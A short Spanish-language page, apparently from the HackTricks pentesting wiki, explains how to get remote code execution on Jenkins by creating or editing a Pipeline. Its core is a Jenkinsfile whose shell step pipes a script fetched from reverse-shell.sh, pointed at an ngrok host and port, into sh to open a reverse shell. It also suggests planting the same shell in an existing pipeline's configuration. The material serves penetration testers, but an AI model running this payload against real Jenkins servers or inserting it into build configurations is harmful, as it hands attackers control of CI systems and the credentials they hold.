Jenkins RCE Creating/Modifying Pipeline

Apoya a HackTricks

Creando un nuevo Pipeline

En "New Item" (accesible en /view/all/newJob) selecciona Pipeline:

En la sección de Pipeline escribe el reverse shell:

pipeline {
agent any

stages {
stage('Hello') {
steps {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
'''
}
}
}
}

Finalmente haz clic en Save, y Build Now y el pipeline se ejecutará:

Modificando un Pipeline

Si puedes acceder al archivo de configuración de algún pipeline configurado, podrías simplemente modificarlo añadiendo tu reverse shell y luego ejecutarlo o esperar a que se ejecute.

Apoya a HackTricks

Last updated